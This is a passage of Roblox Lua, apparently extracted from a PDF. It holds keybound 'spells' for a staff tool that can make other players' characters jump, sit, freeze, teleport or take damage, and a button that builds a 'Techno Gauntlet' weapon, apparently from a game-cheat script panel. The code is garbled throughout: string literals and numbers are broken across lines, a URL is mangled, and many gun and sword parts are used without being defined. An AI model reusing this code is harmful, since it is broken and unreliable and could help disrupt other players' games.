right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))
wait()
right.C1 = CFrame.new(-
1.42,0.62,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.3))
wait()
right.C1 = CFrame.new(-
1.29,0.84,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.35))
wait()
right.C1 = CFrame.new(-
1.16,1.06,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.4))
wait()
right.C1 = CFrame.new(-
1.03,1.28,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.45))
wait()
right.C1 = CFrame.new(-
0.9,1.5,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.5))
wait(.2)
right.C1 = CFrame.new(-0.9,1.5,-
0.15)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-
0.30)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-
0.45)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-
0.60)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*-.5))
wait()
right.C1 = CFrame.new(-0.9,1.5,-
0.75)*CFrame.Angles((math.pi*-.75),(math.pi*0),(math.pi*-.5))
wait(.1)
right.C1 = CFrame.new(-
1.03,1.28,0)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*-.45))
wait()
right.C1 = CFrame.new(-
1.16,1.06,0)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*-.4))
wait()
right.C1 = CFrame.new(-
1.29,0.84,0)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*-.35))
wait()
right.C1 = CFrame.new(-
1.42,0.62,0)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*-.3))
wait()
right.C1 = CFrame.new(-
1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))
end
--
spells-----------------------------------------------------------------------------
--------
if key == "f" then
loadstring(up)()
local wall = Instance.new("Part")
wall.Parent = Workspace
wall.Size = Vector3.new(10,1,10)
wall.formFactor = "Symmetric"
wall.CFrame = player.Torso.CFrame *CFrame.new(0,-3.42,0)
wall.TopSurface = 0
wall.BottomSurface = 0
wall.Anchored = true
wall.BrickColor = BrickColor.new(1006)
wall.Material = "Ice"
game:GetService("Debris"):AddItem(wall, 15)
while wall:IsDescendantOf(Workspace) do
wait()
wall.CFrame = player.Torso.CFrame*CFrame.new(0,-
3.42,0)
end
wait(.5)
loadstring(down)()
end
if key == "g" then
if mouse.Target then
if mouse.Target.Parent:findFirstChild("Humanoid") ~=
nil then
local tar = mouse.Target
loadstring(up)()
local spark = Instance.new("Explosion")
spark.BlastRadius = 4
spark.BlastPressure = 0
spark.Parent = Workspace
spark.Position = tip2.Position
local ptar = tar.Parent
local mis = Instance.new("Part")
mis.formFactor = "Symmetric"
mis.Shape = "Ball"
mis.BrickColor = BrickColor.new(1006)
mis.Transparency = .5
mis.Size = Vector3.new(1,1,1)
mis.Parent = Workspace
mis.CFrame = staff.CFrame * CFrame.new(0,0,-15)
local misv = Instance.new("BodyVelocity")
misv.Parent = mis
misv.maxForce =
Vector3.new(math.huge,math.huge,math.huge)
misv.velocity = mis.CFrame.lookVector * 50
local misg = Instance.new("BodyGyro")
misg.maxTorque =
Vector3.new(math.huge,math.huge,math.huge)
misg.Parent = mis
misg.cframe = CFrame.new(tar.Position,
mis.Position)
mis.Touched:connect(function(hit)
if hit.Name == tar.Name then
local ex =
Instance.new("Explosion")
ex.Parent = Workspace
ex.Position = mis.Position
mis:remove()
end
end)
wait(.5)
loadstring(down)()
while mis.Parent == Workspace and
tar:IsDescendantOf(Workspace) do
wait()
misg.cframe = CFrame.new(tar.Position,
mis.Position)
local fire = Instance.new("Explosion")
fire.Parent = Workspace
fire.Position = mis.Position
fire.BlastRadius = 2
misv.velocity = mis.CFrame.lookVector * -
18
end
mis:remove()
end
end
end
if key == "b" then
loadstring(up)()
for i = 1,100 do
wait()
local p = Instance.new("Part")
p.BrickColor = BrickColor.new(1006)
p.Name ="check"
p.Parent = Workspace
p.CanCollide = false
p.Size = Vector3.new(1,3,1)
p.CFrame = player.Torso.CFrame +
Vector3.new(math.random(-5,5),math.random(-2,4),math.random(-5,5))
p.formFactor = "Symmetric"
p.TopSurface = 0
p.BottomSurface = 0
p.Transparency = .5
local pm = Instance.new("SpecialMesh")
pm.Parent = p
pm.MeshType = "Sphere"
pm.Scale = Vector3.new((.2+(.05*i)),(.2+(.05*i)),(.2+
(.05*i)))
local pbv = Instance.new("BodyVelocity")
pbv.Parent = p
pbv.velocity = Vector3.new(0,10,0)
game:GetService("Debris"):AddItem(p, .2)
player.Humanoid.Health = player.Humanoid.Health +2
end
player.Torso.CFrame = mouse.Hit + Vector3.new(0,4,0)
wait(.5)
loadstring(down)()
end
if key == "v" then
local tar = mouse.Target
if tar ~= nil then
if (tip6a.Position - tar.Position).magnitude < 100
then
loadstring(up)()
local shot = Instance.new("Part")
shot.Parent = Workspace
shot.BrickColor = BrickColor.new("Cyan")
shot.formFactor = "Symmetric"
shot.Size = Vector3.new(1,1,1)
shot.Anchored = true
local shotm = Instance.new("BlockMesh")
shotm.Scale = Vector3.new(.2,.2,(tip6a.Position
- mouse.Hit.p).magnitude)
shot.CFrame = CFrame.new(((tip6a.Position +
mouse.Hit.p)/2),mouse.Hit.p)
shotm.Parent = shot
if tar.Parent:findFirstChild("Humanoid") ~= nil
then
local ice = Instance.new("Part")
ice.Position = tar.Parent.Torso.Position
ice.Anchored = true
tar.Parent.Torso.Anchored = true
ice.BrickColor = BrickColor.new("Cyan")
ice.Size = Vector3.new(4,6,4)
ice.Reflectance = .2
ice.TopSurface = 0
ice.BottomSurface = 0
ice.Transparency = .5
ice.Parent = tar.Parent
game:GetService("Debris"):AddItem(p, .2)
tar.Parent.Humanoid.Health =
tar.Parent.Humanoid.Health +2
end
tar.Parent.Torso.CFrame = mouse.Hit +
Vector3.new(0,4,0)
wait(.5)
loadstring(down)()
end
end
end
end
if key == "u" then
loadstring(up)()
local start = Instance.new("Part")
start.Parent = Workspace
start.Position = mouse.Hit.p + Vector3.new(0,18,0)
start.Anchored = true
start.Size = Vector3.new(1,1,1)
start.Transparency = 1
for i = 1,36 do
start.CFrame = start.CFrame *
CFrame.Angles(math.rad(0),math.rad(5),math.rad(0))
local wall1 = Instance.new("Part")
wall1.Parent = Workspace
wall1.BrickColor = BrickColor.new("Really black")
wall1.Size = Vector3.new(1,10,1)
wall1.Anchored = true
wall1.TopSurface = 0
wall1.CFrame = start.CFrame * CFrame.new(10,-15,0)
local wall2 = Instance.new("Part")
wall2.Parent = Workspace
wall2.BrickColor = BrickColor.new("Really black")
wall2.Size = Vector3.new(1,10,1)
wall2.Anchored = true
wall2.TopSurface = 0
wall2.CFrame = start.CFrame * CFrame.new(10,-15,0)
local wall1a = Instance.new("Part")
wall1a.Parent = Workspace
wall1a.BrickColor = BrickColor.new("Really black")
wall1a.Size = Vector3.new(1,10,1)
wall1a.Anchored = true
wall1a.TopSurface = 0
wall1a.CFrame = start.CFrame * CFrame.new(-10,-15,0)
local wall2a = Instance.new("Part")
wall2a.Parent = Workspace
wall2a.BrickColor = BrickColor.new("Really black")
wall2a.Size = Vector3.new(1,0,1)
wall2a.Anchored = true
wall2a.TopSurface = 0
wall2a.CFrame = start.CFrame * CFrame.new(-10,-15,0)
local roof = Instance.new("Part")
roof.Parent = Workspace
roof.Size = Vector3.new(0,1,1)
roof.BrickColor = BrickColor.new("Really black")
roof.Anchored = true
roof.CFrame = start.CFrame * CFrame.new(0,-10,0)
roof.TopSurface = 0
local roof2 = Instance.new("Part")
roof2.Parent = Workspace
roof2.Size = Vector3.new(1,1,20)
roof2.BrickColor = BrickColor.new("Really black")
roof2.Anchored = true
roof2.CFrame = start.CFrame * CFrame.new(0,-10,0)
roof2.TopSurface = 0
local roofa = Instance.new("Part")
roofa.Parent = Workspace
roofa.Size = Vector3.new(20,1,1)
roofa.BrickColor = BrickColor.new("Really black")
roofa.Anchored = true
roofa.CFrame = start.CFrame * CFrame.new(0,-20,0)
roofa.TopSurface = 0
local roof2a = Instance.new("Part")
roof2a.Parent = Workspace
roof2a.Size = Vector3.new(1,1,20)
roof2a.BrickColor = BrickColor.new("Really black")
roof2a.Anchored = true
roof2a.CFrame = start.CFrame * CFrame.new(0,-20,0)
roof2a.TopSurface = 0
game:GetService("Debris"):AddItem(roof, 15)
game:GetService("Debris"):AddItem(wall1, 15)
game:GetService("Debris"):AddItem(wall2, 15)
game:GetService("Debris"):AddItem(roof2, 15)
game:GetService("Debris"):AddItem(wall1a, 15)
game:GetService("Debris"):AddItem(wall2a, 15)
game:GetService("Debris"):AddItem(roofa, 15)
game:GetService("Debris"):AddItem(roof2a, 15)
wait()
end
start:remove()
wait(.5)
loadstring(down)()
end
if key == "m" then
local tar = mouse.Target
if tar.Parent:findFirstChild("Humanoid") ~= nil then
if tar.Parent.Name == "Minion" then
loadstring(up)()
while tar.Parent.Humanoid.Health >= 1 do
wait()
if player.Humanoid.Health == 0 then
tar.Parent.Humanoid:TakeDamage(1000)
else
tar.Parent.Torso.move.position =
mouse.Hit.p
end
end
loadstring(down)()
end
end
end
if key == "j" then
local tar = mouse.Target
if tar.Parent:findFirstChild("Humanoid") ~= nil then
tar.Parent.Humanoid.Jump = true
end
elseif key == "k" then
local tar = mouse.Target
if tar.Parent:findFirstChild("Humanoid") ~= nil then
tar.Parent.Humanoid.Sit = true
end
elseif key == "l" then
local tar = mouse.Target
if tar.Parent:findFirstChild("Humanoid") ~= nil then
tar.Parent.Humanoid.PlatformStand = true
end
elseif key == "p" then
local min = Instance.new("Model")
min.Name = "Minion"
min.Parent = Workspace
local skel = Instance.new("Humanoid")
skel.Parent = min
skel.WalkSpeed = 16
skel.MaxHealth = 100
skel.Health = 100
local thing = Instance.new("Part")
thing.Name = "Head"
thing.formFactor = "Symmetric"
thing.TopSurface = 0
thing.BottomSurface = 0
thing.BrickColor = BrickColor.new(1003)
thing.Transparency = .3
thing.Size = Vector3.new(4,4,4)
thing.Parent = min
thing.Position = player.Torso.Position + Vector3.new(0,5,0)
thing.Shape = "Ball"
local thing2 = Instance.new("Part")
thing2.Name = "Torso"
thing2.formFactor = "Symmetric"
thing2.TopSurface = 0
thing2.BottomSurface = 0
thing2.BrickColor = BrickColor.new(1004)
thing2.Size = Vector3.new(1,1,1)
thing2.Parent = min
thing2.Position = player.Torso.Position +
Vector3.new(0,5,0)
thing2.Shape = "Ball"
local live = Instance.new("Weld")
live.Parent = thing2
live.Part0 = thing2
live.Part1 = thing
live.Name = "Neck"
local move = Instance.new("BodyPosition")
move.Parent = thing2
move.position = player.Torso.Position
move.maxForce = Vector3.new(100,0,100)
move.Name = "move"
thing.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil then
if hit.Parent.Name ~= player.Name then
if hit.Parent.Name ~= "Minion" then
if hit.Parent.Humanoid.MaxHealth >
100 then
hit.Parent.Humanoid.MaxHealth
= 100
end
hit.Parent.Humanoid.Health =
hit.Parent.Humanoid.Health - math.random(5,7)
hit.Parent.Humanoid.Sit = true
for i = 1, (math.random(1,3)) do
wait()
local bleed =
Instance.new("Part")
bleed.formFactor =
"Symmetric"
bleed.Size =
Vector3.new(1,1,1)
bleed.BrickColor =
BrickColor.new("Bright red")
bleed.TopSurface = 0
bleed.BottomSurface = 0
bleed.Reflectance = .1
bleed.Transparency = .4
bleed.Parent = Workspace
bleed.Position =
thing.Position
local bleedm =
Instance.new("SpecialMesh")
bleedm.MeshType = "Sphere"
bleedm.Scale =
Vector3.new(.2,.2,.2)
bleedm.Parent = bleed
game:GetService("Debris"):AddItem(bleed, 5)
end
end
end
end
end)
coroutine.resume(coroutine.create(function()
clean(min,thing2) end))
end
--end of keys
end)
--end of script
end)
bin.Deselected:connect(function()
staff:remove()
rs.Part1 = rarm
ls.Part1 = larm
right:remove()
left:remove()
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,198)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Techno Gauntlet"
button.Position = UDim2.new(0.5,3,0,198)
button.Size = UDim2.new(0.48,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Techno Gauntlet"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
Player = game:GetService("Players").LocalPlayer
Character = Player.Character
PlayerGui = Player.PlayerGui
Backpack = Player.Backpack
Torso = Character.Torso
Head = Character.Head
Humanoid = Character.Humanoid
LeftArm = Character["Left Arm"]
LeftLeg = Character["Left Leg"]
RightArm = Character["Right Arm"]
RightLeg = Character["Right Leg"]
LS = Torso["Left Shoulder"]
LH = Torso["Left Hip"]
RS = Torso["Right Shoulder"]
RH = Torso["Right Hip"]
Neck = Torso.Neck
it=Instance.new
vt=Vector3.new
cf=CFrame.new
euler=CFrame.fromEulerAnglesXYZ
angles=CFrame.Angles
necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
attack = false
attacktype = 1
attackdebounce = false
MMouse=nil
combo=0
Mode="Choose"
Aiming=false
DroneTarget=Torso.Position
Drone1=nil
Drone2=nil
Drone3=nil
Bullets=10
BowAim=false
SnipAim=false
--player
player = nil
--save shoulders
RSH, LSH = nil, nil
--welds
RW, LW = Instance.new("Weld"), Instance.new("Weld")
RW.Name="Right Shoulder" LW.Name="Left Shoulder"
function
part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
local fp = it("Part")
fp.formFactor = formfactor
fp.Parent = parent
fp.Reflectance = reflectance
fp.Transparency = transparency
fp.CanCollide = false
fp.Locked=true
fp.BrickColor = brickcolor
fp.Name = name
fp.Size = size
fp.Position = Torso.Position
fp.BottomSurface="Smooth"
fp.TopSurface="Smooth"
fp:BreakJoints()
return fp
end
function mesh(Mesh,part,meshtype,meshid,offset,scale)
local mesh = it(Mesh)
mesh.Parent = part
if Mesh=="SpecialMesh" then
mesh.MeshType = meshtype
mesh.MeshId = meshid
end
mesh.Offset=offset
mesh.Scale=scale
return mesh
end
function weld(parent,part0,part1,c0)
local weld = it("Weld")
weld.Parent = parent
weld.Part0 = part0
weld.Part1 = part1
weld.C0 = c0
return weld
end
local cone=part(3,modelzorz,0,1,BrickColor.new("Bright
blue"),"Cone",vt(1,1,1))
local conemsh=mesh("SpecialMesh",cone,"FileMesh","http://www.roblox.com/
asset/?id=1778999",vt(0,0,0),vt(0.5,0.5,0.5))
local screen1=part(3,modelzorz,0,1,BrickColor.new("Bright
blue"),"Screen1",vt(1,1,1))
local screen1msh=mesh("BlockMesh",screen1,"","",vt(0,0,0),vt(0.1,0.8,0.9))
local screen2=part(3,modelzorz,0,1,BrickColor.new("Bright
blue"),"Screen2",vt(1,1,1))
local screen2msh=mesh("BlockMesh",screen2,"","",vt(0,0,0),vt(0.1,0.8,0.9))
local screen3=part(3,modelzorz,0,1,BrickColor.new("Bright
blue"),"Screen3",vt(1,1,1))
local screen3msh=mesh("BlockMesh",screen3,"","",vt(0,0,0),vt(0.1,0.8,0.9))
light1=Instance.new("PointLight")
light1.Brightness=.8
light1.Color=Color3.new(.2,.2,255)
light1.Range=10
light1.Parent=screen1
light2=light1:Clone()
light2.Parent=screen2
light3=light1:Clone()
light3.Parent=screen3
local prt1=part(3,modelzorz,0,0,BrickColor.new("Black"),"Part1",vt(1,1,1))
local prt2=part(3,modelzorz,0,0,BrickColor.new("Dark stone
grey"),"Part2",vt(1,1,1))
local prt3=part(3,modelzorz,0,0,BrickColor.new("Dark stone
grey"),"Part3",vt(1,1,1))
local prt4=part(3,modelzorz,0,0,BrickColor.new("Dark stone
grey"),"Part4",vt(1,1,1))
local prt5=part(3,modelzorz,0,0,BrickColor.new("Dark stone
grey"),"Part5",vt(1,1,1))
local prt6=part(3,modelzorz,0,0,BrickColor.new("Medium stone
grey"),"Part6",vt(1,1,1))
local prt7=part(3,modelzorz,0,0,Torso.BrickColor,"Part7",vt(1,1,1))
local prt8=part(3,modelzorz,0,0,BrickColor.new("Dark stone
grey"),"Part8",vt(1,1,1))
local prt9=part(3,modelzorz,0,0,BrickColor.new("Medium stone
grey"),"Part9",vt(1,1,1))
local prt10=part(3,modelzorz,0,0,BrickColor.new("Black"),"Part10",vt(1,1,1))
msh1=mesh("BlockMesh",prt1,"","",vt(0,0,0),vt(1.1,0.6,1.1))
msh2=mesh("BlockMesh",prt2,"","",vt(0,0,0),vt(0.2,0.7,1.05))
msh3=mesh("BlockMesh",prt3,"","",vt(0,0,0),vt(1.05,0.7,0.2))
msh4=mesh("BlockMesh",prt4,"","",vt(0,0,0),vt(1.4,1.6,0.2))
msh5=mesh("BlockMesh",prt5,"","",vt(0,0,0),vt(1.4,1.6,0.2))
msh6=mesh("BlockMesh",prt6,"","",vt(0,0,0),vt(0.6,0.1,0.6))
msh7=mesh("SpecialMesh",prt7,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
msh8=mesh("CylinderMesh",prt8,"","",vt(0,0,0),vt(0.6,0.1,0.6))
msh9=mesh("CylinderMesh",prt9,"","",vt(0,0,0),vt(0.3,0.1,0.3))
msh10=mesh("CylinderMesh",prt10,"","",vt(0,0,0),vt(0.2,0.1,0.2))
local wld1=weld(prt1,prt1,RightArm,euler(0,0,0)*cf(0,0.3,0))
local wld2=weld(prt2,prt2,prt1,euler(0,0,0)*cf(0,0.4,0))
local wld3=weld(prt3,prt3,prt1,euler(0,0,0)*cf(0,0.4,0))
local wld4=weld(prt4,prt4,prt1,euler(0,0.785,0)*cf(0,-0.51,0))
local wld5=weld(prt5,prt5,prt1,euler(0,-0.785,0)*cf(0,-0.51,0))
local wld6=weld(prt6,prt6,prt1,euler(0,0,0)*cf(0,-1.3,0))
local wld7=weld(prt7,prt7,prt6,euler(0,0,0)*cf(0,0,0))
local wld8=weld(prt8,prt8,prt1,euler(0,0,-1.57)*cf(-0.55,0,0))
local wld9=weld(prt9,prt9,prt8,euler(0,0,0)*cf(0,0.05,0))
local wld10=weld(prt10,prt10,prt9,euler(0,0,0)*cf(0,0.01,0))
numb2=0
for i=1,4 do
numb=0.3
for i=1,3 do
local prtclaw=part(3,modelzorz,0,0,BrickColor.new("Medium stone
grey"),"Partclaw",vt(1,1,1))
mshclaw=mesh("SpecialMesh",prtclaw,"Wedge","",vt(0,0,0),vt(0.1,0.3,0.1))
local wldclaw=weld(prtclaw,prtclaw,prt1,euler(1.57,-1.57,-
1.57)*cf(-0.55,0.3,numb)*euler(0,numb2,0))
numb=numb-0.3
end
numb2=numb2+1.57
end
numb=0
for i=1,5 do
local prtgear=part(3,modelzorz,0,0,BrickColor.new("Medium stone
grey"),"Partgear",vt(1,1,1))
mshgear=mesh("BlockMesh",prtgear,"","",vt(0,0,0),vt(0.4,0.09,0.07))
local wldgear=weld(prtgear,prtgear,prt9,euler(0,numb,0)*cf(0,0,0))
numb=numb+0.628
end
gmsh1=mesh("BlockMesh",gprt1,"","",vt(0,0,0),vt(0.2,0.7,0.2))
gmsh2=mesh("BlockMesh",gprt2,"","",vt(0,0,0),vt(0.25,0.2,0.25))
gmsh3=mesh("BlockMesh",gprt3,"","",vt(0,0,0),vt(0.25,0.2,0.25))
gmsh4=mesh("BlockMesh",gprt4,"","",vt(0,0,0),vt(0.5,0.5,0.7))
gmsh5=mesh("CylinderMesh",gprt5,"","",vt(0,0,0),vt(0.5,0.49,0.5))
gmsh6=mesh("CylinderMesh",gprt6,"","",vt(0,0,0),vt(0.1,0.5,0.1))
gmsh7=mesh("BlockMesh",gprt7,"","",vt(0,0,0),vt(0.55,0.3,0.3))
gmsh8=mesh("CylinderMesh",gprt8,"","",vt(0,0,0),vt(0.7,0.7,0.7))
gmsh9=mesh("CylinderMesh",gprt9,"","",vt(0,0,0),vt(0.4,0.71,0.4))
gmsh10=mesh("BlockMesh",gprt10,"","",vt(0,0,0),vt(0.3,0.4,0.3))
gmsh11=mesh("BlockMesh",gprt11,"","",vt(0,0,0),vt(0.2,2.5,0.5))
gmsh12=mesh("CylinderMesh",gprt12,"","",vt(0,0,0),vt(0.3,0.51,0.3))
gmsh13=mesh("BlockMesh",gprt13,"","",vt(0,0,0),vt(0.2,0.3,0.5))
gmsh14=mesh("CylinderMesh",gprt14,"","",vt(0,0,0),vt(0.3,0.2,0.3))
gmsh15=mesh("CylinderMesh",gprt15,"","",vt(0,0,0),vt(0.2,0.35,0.2))
gmsh16=mesh("CylinderMesh",gprt16,"","",vt(0,0,0),vt(0.2,0.21,0.2))
gmsh17=mesh("CylinderMesh",gprt17,"","",vt(0,0,0),vt(0.15,0.22,0.15))
gmsh18=mesh("CylinderMesh",gprt18,"","",vt(0,0,0),vt(0.6,0.2,0.6))
gmsh19=mesh("CylinderMesh",gprt19,"","",vt(0,0,0),vt(0.7,0.2,0.7))
gmsh20=mesh("CylinderMesh",gprt20,"","",vt(0,0,0),vt(0.6,1.5,0.6))
gmsh21=mesh("CylinderMesh",gprt21,"","",vt(0,0,0),vt(0.69,0.5,0.69))
gmsh22=mesh("CylinderMesh",gprt22,"","",vt(0,0,0),vt(0.69,0.31,0.69))
local GunWelds={}
local gwld1=weld(gprt1,gprt1,Torso,euler(0.5,1.57,0)*cf(1,-0.5,1.8))
local gwld2=weld(gprt2,gprt2,gprt1,euler(0,0,0)*cf(0,0.3,0))
local gwld3=weld(gprt3,gprt3,gprt1,euler(0,0,0)*cf(0,-0.3,0))
local gwld4=weld(gprt4,gprt4,gprt3,euler(-0.5,0,0)*cf(0,-0.1,-0.1))
local gwld5=weld(gprt5,gprt5,gprt4,euler(0,0,1.57)*cf(0,0,-0.35))
local gwld6=weld(gprt6,gprt6,gprt5,cf(0,0,-0.1))
local gwld7=weld(gprt7,gprt7,gprt4,cf(0,0,-0.1))
local gwld8=weld(gprt8,gprt8,gprt4,euler(0,0,1.57)*cf(0,0,0.4))
local gwld9=weld(gprt9,gprt9,gprt8,cf(0,0,0))
local
gwld10=weld(gprt10,gprt10,gprt8,euler(1.57,0,0)*cf(0,0,0.4)*euler(0,0.7,0))
local gwld11=weld(gprt11,gprt11,gprt8,euler(1.57,0,0)*cf(0.3,0,0.9))
local gwld12=weld(gprt12,gprt12,gprt11,euler(-1.57,0,0)*cf(0,-1.3,0))
local gwld13=weld(gprt13,gprt13,gprt12,cf(0,0,0.3)*euler(0,1.57,0))
local gwld14=weld(gprt14,gprt14,gprt13,cf(0.05,0,0.25))
local gwld15=weld(gprt15,gprt15,gprt14,cf(0,0,0))
local gwld16=weld(gprt16,gprt16,gprt13,euler(0,0,1.57)*cf(0,0,-0.1))
local gwld17=weld(gprt17,gprt17,gprt16,cf(0,0,0))
local gwld18=weld(gprt18,gprt18,gprt8,euler(1.57,0,0)*cf(-0.1,0,0.4))
local gwld19=weld(gprt19,gprt19,gprt18,cf(-0.05,-0.15,0))
local gwld20=weld(gprt20,gprt20,gprt19,cf(0,-0.8,0))
local gwld21=weld(gprt21,gprt21,gprt20,cf(0,0.5,0))
local gwld22=weld(gprt22,gprt22,gprt20,cf(0,-0.6,0))
table.insert(GunWelds,gwld1)
table.insert(GunWelds,gwld2)
table.insert(GunWelds,gwld3)
table.insert(GunWelds,gwld4)
table.insert(GunWelds,gwld5)
table.insert(GunWelds,gwld6)
table.insert(GunWelds,gwld7)
table.insert(GunWelds,gwld8)
table.insert(GunWelds,gwld9)
table.insert(GunWelds,gwld10)
table.insert(GunWelds,gwld11)
table.insert(GunWelds,gwld12)
table.insert(GunWelds,gwld13)
table.insert(GunWelds,gwld14)
table.insert(GunWelds,gwld15)
table.insert(GunWelds,gwld16)
table.insert(GunWelds,gwld17)
table.insert(GunWelds,gwld18)
table.insert(GunWelds,gwld19)
table.insert(GunWelds,gwld20)
table.insert(GunWelds,gwld21)
table.insert(GunWelds,gwld22)
numb=1.57
for i=1,10 do
local gprt23=part(3,gun,0,0,BrickColor.new("Medium stone
grey"),"Part23",vt(1,1,1))
gmsh23=mesh("CylinderMesh",gprt23,"","",vt(0,0,0),vt(0.15,0.7,0.15))
local gwld23=weld(gprt23,gprt23,gprt20,cf(0,-0.1,-
0.25)*euler(0,numb,0))
table.insert(GunWelds,gwld23)
local gprt24=part(3,gun,0,0,BrickColor.new("Really
black"),"Part24",vt(1,1,1))
gmsh24=mesh("CylinderMesh",gprt24,"","",vt(0,0,0),vt(0.14,1.52,0.14))
local gwld24=weld(gprt24,gprt24,gprt20,cf(0,0,-0.25)*euler(0,numb,0))
table.insert(GunWelds,gwld24)
numb=numb+0.628
end
local sword=Instance.new("Model")
sword.Parent=modelzorz
sword.Name="Daku"
sword.Parent=nil
smsh1=mesh("BlockMesh",sprt1,"","",vt(0,0,0),vt(0.2,1,0.2))
smsh2=mesh("SpecialMesh",sprt2,"Head","",vt(0,0,0),vt(0.4,0.3,0.4))
smsh3=mesh("BlockMesh",sprt3,"","",vt(0,0,0),vt(0.25,0.5,0.25))
smsh4=mesh("SpecialMesh",sprt4,"Head","",vt(0,0,0),vt(0.5,0.3,0.5))
smsh5=mesh("CylinderMesh",sprt5,"","",vt(0,0,0),vt(0.5,0.2,0.5))
smsh6=mesh("BlockMesh",sprt6,"","",vt(0,0,0),vt(0.5,0.2,0.35))
smsh7=mesh("BlockMesh",sprt7,"","",vt(0,0,0),vt(0.2,0.19,0.2))
smsh8=mesh("BlockMesh",sprt8,"","",vt(0,0,0),vt(0.8,0.15,0.5))
smsh9=mesh("SpecialMesh",sprt9,"Head","",vt(0,0,0),vt(0.4,0.3,0.4))
smsh10=mesh("BlockMesh",sprt10,"","",vt(0,0,0),vt(0.25,0.5,0.25))
smsh11=mesh("SpecialMesh",sprt11,"Head","",vt(0,0,0),vt(0.5,0.3,0.5))
smsh12=mesh("CylinderMesh",sprt12,"","",vt(0,0,0),vt(0.5,0.2,0.5))
smsh13=mesh("BlockMesh",sprt13,"","",vt(0,0,0),vt(0.5,0.2,0.35))
smsh14=mesh("BlockMesh",sprt14,"","",vt(0,0,0),vt(0.2,0.19,0.2))
smsh15=mesh("BlockMesh",sprt15,"","",vt(0,0,0),vt(0.8,0.15,0.5))
smsh17=mesh("CylinderMesh",sprt17,"","",vt(0,0,0),vt(0.1,0.05,0.1))
smsh19=mesh("CylinderMesh",sprt19,"","",vt(0,0,0),vt(0.1,0.05,0.1))
local SwordWelds={}
local swld1=weld(sprt1,sprt1,Torso,euler(0,0,1.57)*cf(0,-4,0))
local swld2=weld(sprt2,sprt2,sprt1,euler(0,0,0)*cf(0,-0.4,0))
local swld3=weld(sprt3,sprt3,sprt2,euler(0,0,0)*cf(0,-0.3,0))
local swld4=weld(sprt4,sprt4,sprt3,euler(0,0,0)*cf(0,-0.3,0))
local swld5=weld(sprt5,sprt5,sprt4,euler(0,0,0)*cf(0,-0.15,0))
local swld6=weld(sprt6,sprt6,sprt5,euler(0,0,1.57)*cf(0,-0.2,0))
local swld7=weld(sprt7,sprt7,sprt6,euler(0,0.785,0)*cf(0,0,-0.17))
local swld8=weld(sprt8,sprt8,sprt5,euler(0,0,1.57)*cf(0,-0.4,0))
local swld9=weld(sprt9,sprt9,sprt1,euler(3.14,3.14,0)*cf(0,0.4,0))
local swld10=weld(sprt10,sprt10,sprt9,euler(0,0,0)*cf(0,-0.3,0))
local swld11=weld(sprt11,sprt11,sprt10,euler(0,0,0)*cf(0,-0.3,0))
local swld12=weld(sprt12,sprt12,sprt11,euler(0,0,0)*cf(0,-0.15,0))
local swld13=weld(sprt13,sprt13,sprt12,euler(0,0,1.57)*cf(0,-0.2,0))
local swld14=weld(sprt14,sprt14,sprt13,euler(0,0.785,0)*cf(0,0,-0.17))
local swld15=weld(sprt15,sprt15,sprt12,euler(0,0,1.57)*cf(0,-0.4,0))
local swld16=weld(sprt16,sprt16,sprt1,cf(0,0,-0.3))
local swld17=weld(sprt17,sprt17,sprt1,euler(0.55,0,0)*cf(0,3.7,-0.79))
local swld18=weld(sprt18,sprt18,sprt1,cf(0,0,-0.8))
local swld19=weld(sprt19,sprt19,sprt1,euler(-0.55,0,0)*cf(0,-3.7,-0.79))
table.insert(SwordWelds,swld1)
table.insert(SwordWelds,swld2)
table.insert(SwordWelds,swld3)
table.insert(SwordWelds,swld4)
table.insert(SwordWelds,swld5)
table.insert(SwordWelds,swld6)
table.insert(SwordWelds,swld7)
table.insert(SwordWelds,swld8)
table.insert(SwordWelds,swld9)
table.insert(SwordWelds,swld10)
table.insert(SwordWelds,swld11)
table.insert(SwordWelds,swld12)
table.insert(SwordWelds,swld13)
table.insert(SwordWelds,swld14)
table.insert(SwordWelds,swld15)
table.insert(SwordWelds,swld16)
table.insert(SwordWelds,swld17)
table.insert(SwordWelds,swld18)
table.insert(SwordWelds,swld19)
numb=0
numb2=0
bend=0
for i=1,8 do
local
sprtblade1=part(3,sword,0.3,0,BrickColor.new("White"),"Partblade1",vt(1,1,1))
